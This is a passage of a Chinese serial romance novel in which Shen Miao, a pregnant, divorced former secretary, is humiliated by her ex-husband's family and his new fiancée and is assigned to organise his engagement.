“你好厉害,从孤儿院出来,还能成为百荣总裁的秘书,我跟别人打听了一下你,听说……” 杨琳的眼睛里,渐渐显现出欣赏和钦佩。 沈渺不善谈的性子,渐渐被杨琳带的话也多了起来。 就在两人谈得正起劲时,餐桌旁突然多了几抹身影。 赫然是孙易琴与明黎艳,两人身后还跟着一脸委屈的程唯怡。 58.他竟然纵容她们,拿沈渺发泄怒火 孙易琴和明黎艳皆是一脸的质问和凶相。 她们像是等待已久,终于抓到了沈渺‘狐狸尾巴’的眼神,盯着沈渺。 虽然新闻压下去了,可程唯怡被群嘲长得丑,是已经发生的事情。 她们怎么能委屈了程唯怡呢? “你们……”杨琳看出对方来者不善。 程唯怡跟孙易琴长得有几分相似,她一眼认出那一定是程唯怡的母亲。 但她摸不透旁边这位看起来更贵气,更生气的女人是谁。 三个人六只眼睛,聚焦在沈渺身上,快要将她戳出一个洞来。 沈渺清眸微颤,沉吟片刻看向杨琳,“你吃饱了吗?” “吃饱了。”杨琳的目光在沈渺与那三人之间徘徊。 “时间不早了,你先回酒店休息吧,明天回阳城一路顺风。” 沈渺含着笑意的目光,与杨琳对视。 杨琳看得出,她是想让自己离开的。 她犹豫了几秒,穿上外套拿着包起身,“这位是程太太吧,说你女儿丑的是我,看得出来你挺生气,不如我们出来聊聊。” “你——”孙易琴没想到,杨琳这么狂,竟然敢主动承认,还约她出去聊聊? 她们有什么好聊的! “看出来了,比我想象中生气,走吧。”杨琳不怕她生气,就怕她不生气,不肯跟自己走。 她臂弯处搭着包,扭动身子离开。 “易琴,你去,这里交给我。”明黎艳板着一张脸,“今天她们两个,谁也别想好过!” 孙易琴转身欲走,想到了什么似的,又拉上了程唯怡,“我一定要让这个女人,当众给你道歉!” 程唯怡被她拉走,还不忘回头恶狠狠地瞪了沈渺一眼。 沈渺依旧坐在那里,不卑不亢。 程家母女离开好一会儿,明黎艳才在她对面坐下。 “如果明董是为了程小姐的事情来找我,我没什么好说的。” 沈渺淡声开口。 杨琳把程家母女弄走,是想吸引一部分火力。 她不能再三澄清,这是杨琳的个人行为,把所有的火力都推到杨琳身上去。 其次,她就算想推,看明黎艳的架势,也不会信。 “沈渺,怎么哪儿都有你!” 明黎艳憋了半天,憋出这么一句。 沈渺只觉得胸口堵得慌,“有没有可能,是您和程小姐的问题呢?” 任何跟贺忱、程唯怡有关的事情,她们首先想到的,总是沈渺。 不论好事坏事,在她们眼里好像都是沈渺在背后操控一样。 “强词夺理!”明黎艳胸口起伏跌宕。 要知道,程唯怡被爆出这种新闻,贺家的脸面也受损了。 关键是,她亲自挑选、培养出来的儿媳妇,被人这么羞辱,她心疼! 沈渺垂着眼帘,保持沉默。 “你费尽心思闹出这么多事情,不就是想嫁进贺家吗?没门!!你等着,这次我一定会让你死心!” 餐厅环境优雅安静,明黎艳强忍着没往沈渺脸上打两巴掌,骂她不要脸! 她压低声音,低吼着却发泄不了心头的愤怒。 拿起桌上的温水,直接朝沈渺脸上泼过去。 沈渺侧身,水泼在她肩膀以及散落的头发上,人顿时显得狼狈。 明黎艳冷哼一声,重重放下水杯,起身离开。 餐厅外,程家母女两个,也不是杨琳的对手。 孙易琴开口第一句便是,“你给我女儿道歉!” “凭什么?”杨琳双手抱臂,冷笑一声道,“每个人审美不同,我只是觉得她丑难不成还犯法了?” 又从她嘴里听到‘丑’这个字,程唯怡咬着嘴唇,脑海里闪过的是沈渺那张明艳动人的脸! 这女人总说她丑,那谁好看?沈渺吗! “你当众侮辱人,目无王法!” 这些年,孙易琴跟明黎艳关系交好,没人敢落她的面子。 面对杨琳如此直白的话,她一肚子火却说不出解气的话来。 杨琳皱着眉,“反正,歉我不道,你们要是过不去干脆报警吧。” 说完,她余光瞥见明黎艳在餐厅出来了,转身就走。 直觉告诉她,这母女两个是纸老虎。 但明黎艳,是真老虎,她可不傻,留下来等着被咬。 回到车上,杨琳给沈渺发消息:【没事吧?】 很快,沈渺回消息:【没事,谢谢你。】 【应该的,是我连累你了,其实我对程唯怡有意见,是因为她在阳城时,抢走了我相中的一个包。】 杨琳是恃宠而骄,被方年宠坏了。 可她不是不讲理,无缘无故攻击一个人长得丑,是件挺过分的事情。 那个包是她提前预定的,程唯怡横刀夺爱,施压店员多给了两百块钱,硬是把包给抢走了。 店员怕得罪杨琳,把程唯怡的来头尽数告知。 两百块,可把杨琳气坏了。 她原本觉得,为了一个包闹得如此不愉快,显得她小气了,所以不打算说。 可事情越发展越严重,她再不说就不是她小气,而是无理取闹,更不好了。 杨琳发完消息,见程家母女正指着这边跟明黎艳说什么。 她放下手机一脚油门踩下去,飞速离开。 “你也是的,怎么连个年轻女人,还是个外地的,都治不了。” 明黎艳恨铁不成钢,她转过头来。 程唯怡红着眼眶,眼睛还有些肿,她更心疼了。 “先消消气,我教训了沈渺了。” “伯母,网上那些人都骂得好难听,我……”程唯怡委屈的眼泪噼里啪啦地掉。 明黎艳抬手给她擦眼泪,“不哭,等你嫁到我们贺家,我看谁还敢说你,走,跟伯母回家商量你跟贺忱的婚事。” 她拉着程唯怡往车上走。 孙易琴眼睛一亮,“黎艳,那你带唯怡回家跟贺忱商量,商量好告诉我们一声,我等你好消息啊。” “去吧。”明黎艳头也不回地拉着程唯怡离开。 孙易琴皱着的眉舒展开,眉梢挂着喜悦,回程家跟程青良报喜。 —— 餐厅里,沈渺关了手机。 她一直好奇杨琳为什么对素未谋面的程唯怡,有如此深的意见。 现在终于明白了。 她用手帕擦干头发和衣服上的水渍,拿上东西离开餐厅。 谁知刚出去,就看到迈巴赫停在夜色浓稠的马路边上。 半落的车窗里,贺忱坐在里面,整个人被暖灯笼罩,面庞却透着漆黑的清冷。 沈渺浑身血液一凝,他竟然也来了。 明明杨琳已经解释过了,他知道她是清白的。 却还纵容明黎艳她们,将怒火发泄到她身上。 59.您更应该有数,我跟沈渺离婚了 远隔着一条街道,男人投来的视线锐利不容忽视。 “查到了吗。”他望向沈渺的方向,却是在同驾驶位的林昭说话。 林昭的手在屏幕上飞快滑动,“还没查到沈秘书到这儿来是为了见谁,不过肯定不是见何总,刚打听到何总这会儿在夜色酒吧。” “嗯。”贺忱鼻腔里发出一个单音节,令人摸不透的高深莫测。 林昭手上的动作顿了下,问道,“还需要调查沈秘书来见谁吗?” 贺忱敛回目光,抻了抻略皱的衬衫领口,“不用了。” 他对沈渺来见谁的,并不感兴趣,确定不是何之洲就够了。 林昭迅速关了手机,试探性的问,“那我们……” “过去。”贺忱薄唇轻启,吐出两个字。 林昭一脚油门踩下去,迈巴赫迅速在街道掉头,最后停在沈渺面前。 沈渺站着微动,初春的夜晚冷风强势贯穿整个街道。 吹击在她身上,穿透她的衣服,让她身体的温度一降再降。 风吹的她眼底有层雾气,她愣愣望着从车上下来的男人。 贺忱骨相生的俊朗,那张棱角分明的面容更是锦上添花,令他从头到尾都散发着荷尔蒙的气息。 夜晚的街道灯光璀璨,笼罩着他,将他修长的身影拉的老长。 他停在她面前,比她高出一个头,低垂着的眼眸深处没有一丝温度。 “调……” “贺忱,我希望你以后把我当成百荣最普通不过的员工,普通到你根本记不住我是谁。” 沈渺手指紧捏着包带,手背上一片清白,隐隐可见青色的脉络。 贺忱目光一凛,“就算记得住你是谁,你跟其他员工也一样普通。” 得到了想要的话,沈渺的心里并不舒服。 她细眉拧着,喉咙蓦地涌上来一股腥甜。 在心里无数次的告诉自己,只要能离开,只要能平安的生下这个孩子就够了。 不论贺忱把她当成什么,都无所谓。 可她口是心非,到底还是做不到无动于衷。 她眼皮轻落,遮住眼底淡淡的哀伤,嘴角却是轻扬起一抹弧度。 “这几年,谢谢贺总照顾。” 贺忱凝了她几秒,看到她那张小脸上写满的倔强和不知名的情绪。 他心头莫名烦躁,转身就走。 回到车上,他冷声吩咐林昭‘开车’。 “贺总,回老宅还是?”林昭在后视镜看了沈渺一眼。 看得出来,沈渺跟贺忱谈的不愉快。 可到底是怎么回事,林昭摸不透。 急促的铃声,响彻整个车厢,贺忱拿出手机接起,不过三秒就挂了电话。 “回老宅。” “是。”林昭立马驱车直奔贺家老宅。 晚十点,贺家老宅灯火通明。 贺老夫人坐在沙发上,双手抱臂闭目养神。 贺老爷子在茶桌上品茶,手里拿着一份财经杂志。 贺懿七扭八歪的躺在贺老夫人旁边,打了个哈欠问,“妈,大半夜的你不让我们睡觉,还非得把我哥喊回来,干什么?” 明黎艳坐在单身沙发上,旁边坐着眼眶通红程唯怡。 她始终拉着程唯怡的手,瞥了眼贺懿说,“让你等你就等着。” 贺懿咂咂嘴,白了她们一眼,戳了戳贺老夫人的胳膊。 “奶奶,我妈又想干什么?” 贺老夫人眼睛睁开一条缝,“爱干啥干啥,反正渺渺是肯定不会回来了,她就是操持你哥娶头驴,我都不管。” 贺懿一听,坐起来凑到贺老夫人跟前,“那可不行,我嫂子是驴,意味着将来贺家的下一代有驴的基因,传出去我不得被人笑话死?” “嘶——”贺老夫人瞪她一眼,“少贫嘴,让你盯着渺渺跟何之洲的事情,怎么样了?” “他们……挺好的啊,等有机会我再慢慢跟你说。” 贺懿这两天忙,最后一次调查何之洲跟沈渺,还是他们前后脚去阳城的时候。 贺老夫人叹息了声,“抽空我探探何家人的口风,只怕他们没那么容易,让渺渺进门。” “是听说何家人都势利眼,希望渺渺能母凭子贵。”贺懿觉得,何家人不可能不在意血脉。 毕竟是一条小生命呢。 祖孙两人正聊着,窗外传来汽车嗡鸣声。 刺眼的灯光中,贺忱的身形轮廓渐渐清晰。 他进入别墅,将外套脱下,搭在臂弯处阔步而来。 走到客厅,看到眼眶红红的程唯怡,他冷硬的面色禁不住渐渐软下来。 “怎么还在哭。” 一听他这话,程唯怡的眼眶里又有泪珠打转了。 “能不哭吗?”明黎艳抽了一张纸,给程唯怡擦眼泪,“那些新闻写的多难听,你又不是看不到,今天你必须给唯怡一个正面的交代。” 贺忱将外套随意一丢,走到程唯怡旁边的沙发上坐下。 “怎么个交代。” “你们两个,尽快订婚。” 明黎艳毫不犹豫的说,“三十号,是个好日子,你可不兴再拒绝!” 一瞬,客厅几人的目光,都落在贺忱身上。 贺忱沉吟片刻,喉结滚动吐出一个字,“好。” 顿时,程唯怡欣喜若狂,差点没笑出来。 “好。”明黎艳高兴的合不拢嘴,拍着程唯怡的手,“贺忱工作忙,订婚的事情你要自己操持,明天两家人吃个饭,再商议具体细节。” 程唯怡小鸡啄米般点头,“知道了,伯母。” 她耳根赤红,含羞的目光看着贺忱。 终于,她要跟贺忱订婚了! 这下,沈渺这贱人,还怎么破坏他们! 贺老夫人叹息了声,起身拿过拐杖,“孙子,扶我回房睡觉。” “我来……”贺懿起身就要跟上,冷不丁对上贺老夫人不赞同的目光,立马调转方向,“我也回房休息了。” 贺忱起身,与程唯怡说了句‘早点休息’,然后搀扶着贺老夫人回房间。 客厅几人一哄而散,各自回房。 走到房门口,贺老夫人推开了贺忱搀扶她的手。 “孙子,你让你妈卖了,还替你妈数钱呢。” 贺忱将房门打开,开了灯,“您放心,我心里有数。” “有什么数?”贺老夫人冷哼一声,他要真有数,能放着那么漂亮的沈渺不要,跟程唯怡订婚? 贺忱一眼看穿贺老夫人的心思,他沉声道,“您心里也该有数,我跟沈渺已经离婚了。” 60.贺忱与程唯怡要订婚了 “我当然有数。” 贺老夫人睨他一眼,“人家渺渺,才不会跟你复婚。” 贺忱觉得这话刺耳。 分明,是他不会跟沈渺复婚。 难道不是吗? “出去吧,挡你爷爷回房睡觉了。” 贺老夫人看到他,就气不打一处来,挥手让他走。 贺忱转身,才看到贺老爷子在门口站着。 他退出去,“爷爷。” “嗯。”贺老爷子应声,“订婚不是儿戏,三思后行。” 贺忱颔首,“知道了。” —— 沈渺刚回到家,又接到了杨琳的电话。 杨琳很喜欢她,聊天不够,还打了电话过来。 “你怎么才到家?” 沈渺捏了捏眉心,难掩疲倦,“路上有些堵车。” 她是贺忱秘书时,公司分配了车。 到后勤部后,她将车还了,现在坐公交上下班,时间比以前多花一半。 幸好,快走了。 “你怀着孕,你老公不接送你上下班吗?” 杨琳一边摆弄指甲,一边闲聊,“你老公家境怎么样?会因为你是孤儿,就欺负你吗?” 沈渺顿了下说,“应该不会,我看方先生对您很好,等你怀孕他一定会是个好父亲。” 她不着痕迹的转移话题,杨琳被带偏。 “那当然,我对他的要求就是,可以不是个好丈夫,但必须是个好父亲,我家境虽然没他家好,可我爸妈都很疼我,我跟你说,家庭对一个孩子来说,特别重要,你要让你老公参与到孩子的成长中来,这样的孩子才能身心健康……” 沈渺的心尖一颤,攥着手机的手不由得一紧。 见她沉默,杨琳意识到这个话题戳到她痛处了。 她老公极有可能是个很冷漠的人。 “也没关系,孩子只要有父亲,就比没有强。” 她的安慰,又扎了沈渺一刀。 几句闲聊,让沈渺的心里乱哄哄的。 当晚她做梦,梦见回到了高中时期。 样貌出众学习能力超标,这让沈渺在学校里饱受关注。 但更多的人关注点都在她是孤儿的事情上,背后里一直议论她。 她面上从来不理会那些风言风语,可内心不受控制的感到难过失落,不知多少个夜晚,偷偷落泪。 一晚,沈渺翻来覆去,难以入眠。 没睡好的缘故,次日她顶着两个黑眼圈,到公司上班。 刚进后勤部,就见每个组的人凑到一起,议论纷纷。 “沈渺。”张辉兴冲冲朝她走过来,“恭喜你啊。” 一瞬,众人的目光纷纷朝沈渺看过来。 沈渺把包放在椅子上,不解的看着张辉,“恭喜什么?” 张辉的手指敲了敲她办公桌,“恭喜你要升职了啊。” “升职?” 她面露狐疑,与众人投来的目光对上,更为不解。 “部长说,专门给你成立一个小组,负责贺总跟程小姐订婚的所有事宜。” 张辉往部长办公室指了指,“你赶紧去一趟吧,部长等很久了。” 贺忱跟程唯怡要订婚了。 沈渺负责他们订婚的所有事宜。 接连两个消息,砸的沈渺晕头转向。 她云里雾里的去了部长办公室,开口的第一句话,完全出于本能。 “部长,贺总跟程小姐订婚,哪里用得着后勤部操持?就算用,交给其他组就好,也不用临时单分出一个组来吧。” 部长看她一眼,“程小姐点名让你负责。” 别说她在后勤部,她就算在财务部,这事儿也会落在她头上。 毕竟,是程唯怡指名的。 真是应了昨天沈渺那句话。 只要跟贺忱有关的事情,程唯怡总会想到她,坏事让她背黑锅。 好事,必然拿来显摆。 “部长,恕我不能胜任。”沈渺歉意的颔首,“我打算辞职,月底就走。” 部长的脸色微变。 倒不是因为沈渺要辞职,毕竟从秘书的职位变成后勤部一员,换谁都接受不了,离职是早晚的事情。 而是因为,沈渺敢驳程唯怡的面子。 或许,是想好离职,破罐子破摔。 可沈渺离开程唯怡必定不满,部长怕自己被牵连。 “沈秘书,等办完了贺总跟程小姐的订婚,我立马批准你离职,你晚几天走!” 部长不容置疑的语气中,夹杂着几分哀求。 沈渺毕竟已经不是秘书,去留捏在部长手里,她没有选择权。 “好,谢谢部长。” 部长松一口气,“你们组的几个新成员已经到位了,过去看看吧!” 沈渺颔首,转身离开部长办公室。 临时成立的十六组,有两个组员是从其他组调过来的。 还有两个,是新来的。 其中一个,对沈渺来说是熟面孔,周芸。 “我们两个是主要负责对接程小姐的。”周芸微抬着下巴,趾高气昂,“沈渺,你先做一下预算吧,多做几个方案,拿来给我看。” 离开百荣后,周芸一直散播沈渺的负面消息。 沈渺以为她是将离职的怨气,发泄到自己身上。 现在看来,是程唯怡让她这样做的。 她不管程唯怡是用什么法子,让周芸又回来的,只管做好自己的事情。 沈渺将工作分摊开来,除了周芸每个人都分派了任务。 找酒店,订鲜花,筛选订婚请帖…… 几个人忙的不可开交。 终于在傍晚时,将选定好的几家酒店,以及请帖款式,订婚当天的鲜花装饰图景,全部整理好,交到了周芸手上。 “这些酒店,每一家你都亲自去看过了吗?”周芸翘着二郎腿,坐在那里,用审问的语气说。 沈渺收拾东西准备下班,“没去,但我让每个酒店的负责人都把婚宴厅录像了,视频发到你邮箱了,供程小姐选择。” ‘啪’的一声,周芸把文件狠狠甩在桌子上。 “酒店的人肯定只拍好的地方,所以你必须亲自去拍,看看每个场地有没有不足之处,才能给程小姐找出最完美的酒店。” 现在已经过了下班的点两个小时。 沈渺让组里其他人离开了,她一个人加班汇总整理的这些资料。 显然,她再努力也没用,周芸是故意来刁难她的。 “订婚宴决定的仓促,若耽误了你我都负不起责任,我不知道是程小姐让你这样做,还是你自作主张为难我,可我提醒你,考虑清楚后果。” 周芸见她气势不减,不免激愤,“沈渺,你现在不是秘书了,注意你说话的态度,我让你做什么,你就做!” 沈渺目光平静,看着她急于借助程唯怡的势,抬高自己的地位,像是看跳梁小丑一样。 蓦地,两人身后传来一道声音。 “贺忱哥,我们来看看,沈秘书把订婚宴准备的怎么样了。” 程唯怡挽着贺忱胳膊,从总裁专用电梯出来。 61.皆大欢喜,沈渺独悲 周芸立马扯出狗腿子的笑容,跑到程唯怡身边。 “程小姐,您要是想知道订婚宴流程,让沈渺上楼跟您汇报就是,专门跑下来一趟,多麻烦!” 出电梯的那一刻,周芸气焰嚣张,像是战胜的将军。 一言不发的沈渺像是失意的败将任人宰割。 程唯怡只觉得,大快人心! 她唇角的弧度压都压不住,她给周芸使眼色,“不麻烦。” 周芸立马将准备好的所有资料都拿过来,“贺总,程小姐,这是供选的所有资料,二位请过目。” “贺忱哥。”程唯怡接过资料,看向贺忱。 “你做主就好。”贺忱淡声道,黢黑的瞳仁不经意落在沈渺身上。 程唯怡找了个地方坐下,翻开资料,筛选着那些酒店。 “程小姐,我建议让沈渺到每个酒店的婚宴厅去一趟,最好今晚就去,毕竟时间紧张。” 周芸弯着腰,凑到程唯怡身边谄媚道。 程唯怡‘呀’了一声,故作善解人意,“这不太好吧,都很晚了。” “没什么不好的,贺总给沈秘书开工资,你们说什么,她都得照做!”周芸有意无意地瞥沈渺。 沈渺自始至终都站在那里,纹丝不动。 鼻翼间弥漫着男人身上淡淡的沉香味,浅落的目光看着男人挺括、笔直的双腿。 贺忱站到窗边,点了根烟缓慢地吸着,薄雾下深沉的目光望向程唯怡。 沈渺看不透他眼底的情绪,但她想一定是充满了柔和,宠溺的。 “沈渺。”程唯怡抬眼,朝她看过来,“就麻烦你亲自跑一趟吧。” 几家备选的酒店分别落座在京北的各个角落,全都亲自跑一趟,今晚都别想睡。 静谧的办公室,程唯怡和周芸的眼神,令沈渺觉得周围空气逐渐稀薄。 她扯动着唇角,“好。” 见她答应得这么‘爽快’,周芸眼珠子一骨碌又说,“程小姐,我提议沈秘书每到一家酒店,就发视频通话给您,您想看什么让她拍什么。” 这是为了防止沈渺偷懒,找工作人员帮忙代拍。 “不行。”程唯怡往贺忱的方向看了一眼,“贺忱哥工作一天了,我接视频会打扰到他休息的。” 贺忱去了长廊尽头,在半开的窗前吹风,明灭交间的烟火照亮他轮廓模糊的侧脸。 沈渺没注意程唯怡跟周芸说了什么。 只知道最后程唯怡决定,让她跑到每一家酒店都要发视频给周芸汇报。 “沈渺。”程唯怡走到她跟前,眉梢挂着喜悦和得意,“我跟贺忱哥要订婚了,你就没什么想说的?” 长廊尽头传来脚步声,渐渐逼近,在沈渺的后面停下。 一道如注的目光落在沈渺身上,哪怕不回头她也察觉到了。 “祝贺总、程小姐百年好合,幸福一生。” 沈渺淡淡一笑,又在心里添一句‘早生贵子’。 只有贺忱尽快结婚生子,她的孩子才能更‘安全’一些。 程唯怡满意的笑了,走到她后面,拉着贺忱,“贺忱哥,时间不早了,我们回家吧。” “嗯。”贺忱鼻腔里发出一个单音节,越过沈渺离开。 沈渺不信,他看不出程唯怡跟周芸对她的为难。 百荣一向禁忌职场霸凌,那些规则都是贺忱亲自定下的。 如今事情就在他眼皮子底下发生,他却视而不见。 只因为,那个欺负人的是程唯怡。 他无底线地包容。 沈渺打车到第一家酒店时,已经是晚上十点半。 她拨通周芸的视频通话,被周芸一句话,指使着从酒店婚宴厅,拍到了酒店外的环境。 “行了,下一家吧。” 周芸诚心折腾她,敷衍了事。 沈渺打车去往下一家酒店,路上时,贺忱与程唯怡订婚的新闻,不断更换词条上各个热搜。 她鬼使神差的挨个点进去看,屏幕上字里行间透着奢华浪漫的文字,落在她眼里刺得慌。 落在心里,扎得难受。 出租车里,贺忱与程唯怡订婚的消息,被播音轮番播放。 沈渺的头靠在车窗,窗缝吹进来的风打在她额头,却吹得她整个人都乱糟糟的。 她又跑了两家酒店,在抵达第三家酒店时,已经是凌晨三点多。 她还没熬不住,周芸先熬不住了,打了两遍视频没人接。 沈渺干脆到酒店休息室的沙发上休息。 不知不觉她蜷缩在沙发上昏昏欲睡。 再次睁开眼睛时,天色已经大亮。 沈渺迅速站起来,脚下一软却差点儿摔倒。 一双骨节分明的手眼疾手快地扶住她。 她下意识抓住了对方手腕,顺着那强而有力的小臂看过去—— 何之洲笑眯眯的样子,映入眼帘。 “何总?”沈渺迅速松开他,站直了身体。 “这么惊讶干什么?”何之洲松开她,退回到单人沙发上坐下,“你不是在这里等我吗?” 沈渺整理了下着装,听到他的话动作一顿,“等你?” 何之洲点头,指了指脚下,“这儿是九洲的地盘。” “哦。”沈渺想起来,这家酒店是九洲旗下的。 她冲何之洲歉意笑笑,“我是来帮贺总和程小姐看婚宴厅的。” 何之洲脸色一垮,“我以为,你被调职到后勤部,改变主意,要跳槽到我这里来了呢!” 他有个采访,约在今天一早,地点就是这个酒店。 来了以后看到沈渺在休息室,他以为她早早过来等他的,谁知—— “话说,贺忱真的要跟程唯怡订婚?” “当然。”沈渺点头。 何之洲盯着她看,“你给他俩筹办订婚宴?” 沈渺再次颔首。 “那你肚子里的孩子,可就真没爹了。”何之洲目光扫过她的肚子。 沈渺下意识看看四周,好在休息室只有他们两个。 她语气放小许多,“我肚子里的孩子,本来就没爹,何总,答应过我的事情,你不能食言。” “放心,我不干那种不是人的事儿!”何之洲拍胸脯保证。 答应过的事情他不食言,没答应的……他可就随便干了! 程唯怡跟贺忱订婚,紧接着就是结婚。 皆大欢喜,沈渺独悲,这出戏还怎么唱? “沈渺,你说……贺忱跟程唯怡,能顺利订婚吗?” 他这话一出,沈渺的心里就‘咯噔’一声,“你想干什么?” 何之洲眯起眼睛,笑得直令人心里突突。 “我随便问问,什么也不干啊。” 沈渺抿着嘴唇看他,试图从他脸上找到开玩笑的痕迹。 奈何,何之洲这人向来嬉皮笑脸,每一句话都像开玩笑。 可他有时就会用玩笑的方式,来真的! 62.准未婚夫:贺忱准未婚妻:程唯怡 “我要去开会了,你忙你的,帮我转告你们贺总,定我家酒店,我给他打十一折。” 何之洲起身,整理了下西装,送客。 沈渺心底愈发不妙,起身跟上他,“何之洲,订婚不是儿戏,你可不能开玩笑!” 她有些头疼的是,好事坏事程唯怡总往她身上推。 这个婚要是定不成,只怕她离开的事情,也不会那么顺利! “哎呀呀~”何之洲看着腕表,步履生风往外跑,“我采访快迟到了!” 他在前面走,沈渺在后面追,追到电梯口,被他的保镖拦下。 “何之洲!”沈渺一脸严肃地看着他。 “我得看采访稿。”何之洲拿着一沓文件,装模作样,“赶紧背,等会儿直播采访,可不能出乱子。” 沈渺眼睁睁看着电梯门合上,彻底合上之前,何之洲还肆意地看了她一眼。 一股不好的预感直击沈渺内心。 不等她反应过来,手机响起,是周芸拨来的视频电话。 她转身朝婚宴厅走,接通电话,以最快的速度拍完整个婚宴厅。 “剩下的两家酒店,你自己去吧,我今天休息一天。” 沈渺休息,订婚宴的事情却不能停。 周芸的心头微动,这是干掉沈渺‘上位’的好时机! 可她有心为难,“酒店的事情你要负责到底,另外两家拍完了再说。” “如果不是你不接通视频,我早就拍完了,如果你不想让程小姐知道,因为你耽误进度的话,就少说废话。” 沈渺直接挂了电话,并且将周芸的号码拉黑。 她在酒店门口等了一会儿,打算围堵一下何之洲。 谁知,何之洲早有预料,接受完采访在后门跑了。 她给何之洲打电话,何之洲也没接。 但何之洲给她回了消息。 【我觉得,你应该高兴。】 他指的是,贺忱不娶程唯怡,就会对沈渺和孩子负责了。 可这不是沈渺想要的。 她只想让贺忱跟程唯怡顺利订婚,她完美退出,皆大欢喜啊! 一夜未眠,沈渺身心疲倦,她耷拉着脑袋,面色很丧的走出酒店,打车回家。 —— 百荣,总裁办公室。 贺忱手机‘叮咚叮咚’响个不停。 全都是何之洲用新号码发来的消息。 【把美人儿拒之门外,我的心在滴血!】 【贺忱,总有一天,你会后悔的!】 除了文字,他还发了几张沈渺的照片。 沈渺站在酒店门口,一脸固执。 还有她黯然离开,因为没见到何之洲的落寞、难过。 贺忱的薄唇绷紧,他眸光一下变得沉冷。 “贺忱哥。”程唯怡推门进来,抱怨道,“沈渺也太不负责任了,直接把订婚的事情交给周芸了,我看……就让周芸当组长,主要负责我们订婚的事情好了。” 她走到办公桌前,仰着脸看贺忱,这才发现贺忱的脸色不太对。 尤其她说完,贺忱的脸色更沉了些。 她心底漏跳一拍,该不会是……贺忱想起周芸是谁了吧? 那天她说推荐个人进公司,刚提了周芸的名字,贺忱就答应了。 她后来试探过几次,才发现贺忱压根不记得周芸是谁了,所以才答应得那么痛快。 “贺,贺忱哥?”程唯怡小心翼翼喊了一声。 贺忱指骨整理着袖口,唇瓣溢出两个字,“随你。” 程唯怡松一口气,幸好不是发现周芸了。 “那我们今天要去试礼服,还有请柬的款式,都确定好了……” 她事无巨细地跟贺忱说着。 最后又换来贺忱一句,“随你。” 饶是程唯怡再迟钝,也察觉到贺忱身上的气压很低。 低到她一靠近,就被冷意袭击般的身体发凉。 “贺忱哥,你是不是不愿意跟我订婚?” 贺忱拿过手机,将消息和照片全部删除。 抬眸朝程唯怡看去时,收拢的眉骨舒展开来。 “没有,只是我工作繁忙,订婚的事情只能辛苦你,你想怎么办就怎么办,想让谁办,就让谁办。” 程唯怡顿时觉得,自己不再是挂名百荣老板娘! 而是有了实权! 她立马下楼,到后勤部发号施令,让周芸顶替沈渺十六组组长的位置,全权处理订婚事宜。 周芸悲喜交加,喜的是升职,成了沈渺的顶头上司! 悲的是,她没有操持这种事情,以及领导别人的经验,有些慌。 “放心,我怎么安排你怎么做,跟着我少不了你的好处。” 程唯怡自然知道,周芸是个没本事的。 可她需要这样一个听话的枪杆子,她指哪儿,周芸打哪儿! “程小姐,我就知道没跟错人!”周芸立马拍马屁,“您放心,以后我为了您上刀山下火海都行!” “用不着。”程唯怡盯着沈渺那儿空着的位置,“只要你能让沈渺明白,谁才是贺太太就行。” 周芸不问她为什么对沈渺这么大意见。 跟着她尝到了甜头,一味点头,“您放心……” —— 沈渺补了一天的觉,却睡得有些浑浑噩噩,背脊发寒。 总有一股不好的预感,她拿过手机又看了看跟何之洲发来的消息。 终于,点击着屏幕,一字字敲成句,回了消息。 【不过是你们手里的一颗棋子罢了,我的高兴与否不重要,何总心里过意得去就行。】 何之洲这人看着不讲情面,其实心软。 他看到沈渺的信息,第一时间就删了。 生怕自己多看一遍,就不忍心了! 翌日,上午九点,沈渺准时到公司。 她刚进后勤部,张辉就像幽灵一样飘过来,低声说,“完了,你被免职了。” “是吗。”沈渺眸光平波无奇。 她猜到昨天不来上班,肯定会有事情发生。 只不过这看似惩罚的事情对她来说,并不是坏事。 只是,看到周芸坐在组长的位置上,她提一口气,抬脚走过去。 “沈渺,介绍一下,昨天起我就是十六组的新组长,以后你叫我周组长。” 周芸转动椅子,面朝沈渺,抬起的下巴令她看起来高高在上。 “周组长。”沈渺嗓音平缓。 “那边是你的位置,桌上几百份订婚请柬,交给你写,记得把字写好看一点。” 周芸指着角落,满箱的红色请柬。 沈渺走过去,拿过一张请柬打开。 准未婚夫:贺忱。 准未婚妻:程唯怡。 每一张请柬,她都要将他们的名字,写上去。 沈渺曾经无数次地幻想过,贺忱会给她一场盛大的婚礼。 她要亲手把他们的名字,写在结婚请柬上。 只可惜,她迟迟没等来一个名分。 如今,却等来亲手把他和另外一个女人的名字,写到订婚请柬上。 她眸色隐匿着复杂,看了好一会儿才坐下,一笔一划写下贺忱和程唯怡的名字。 63.给她的孩子当爹! 一张接一张,贺忱的名字在她笔下写得张扬肆意。 她的字体好看,苍劲有力。 写累了,她揉着酸楚的手指,淡淡地看着一张张刺眼的红色请柬。 上百份请柬,至少要写一天。 周芸坐在工位上愣神,一份预算做得她怀疑人生! 八位数的订婚宴,一个零头是她这辈子都赚不到的! 关键是,她发现了其中,不少可钻的小空子。 稍微动动手指头,获得的利润都不可估量! 她吞吞口水,回头看看沈渺,又看看其他人,确认无人发现,她迅速将那份预算单撕下来,放入口袋里。 人心的考验,让她惴惴不安,人都变得沉默了许多。 沈渺埋头工作到午休时间,打算点个外卖凑合一下,根本没发现周芸的异样。 谁知她还没选好吃什么,吴蕾就从电梯里出来,悄摸跑到她旁边。 “沈秘书,下班了吗?” “蕾姐,下班了,正准备点外卖吃凑合一口。”沈渺看向吴蕾,“你要不要一起?” 吴蕾拉着她手腕起来,“外卖不卫生,走,咱们出去吃。” 沈渺被她拉起来,接着她的外套和包包都被吴蕾拿了去。 她只能跟上,“我下午还有工作要处理。” “放心,就吃顿饭,很快的。”吴蕾将棕色大衣给她披上,“中午加班又不给钱,干不完晚上再干!” 沈渺不在意加班费,她只想尽快把一切搞定。 几分钟后,吴蕾带她去了商业街西餐厅。 “怎么想到吃西餐了?” 沈渺被她拉着,一路到靠窗位置四号桌坐下。 关键是,对面坐了个男人。 “张科研,我侄子,大你两岁。” 吴蕾没坐下,给他们互相介绍,“科研,这就是我跟你说的沈渺,工作能力非常好。” 沈渺脑袋一闪,想起来上次吴蕾说介绍她相亲的事情。 她不由得头大,“蕾姐,我……” “知道你着急,我就不在这儿打扰你们了。”吴蕾拍了拍她肩膀,打断她,“一顿饭的时间,互相了解一下,足够。” 张科研五官端正,算不上好看,但一副文化老实人的斯雅。 他朝吴蕾颔首,“您去忙,我尽量不耽误沈小姐时间。” 吴蕾给沈渺使眼色,拎包就走了。 沈渺肚子里揣着一个来相亲,局促不安,可良好的礼貌素养,让她只能硬着头皮坐在这儿。 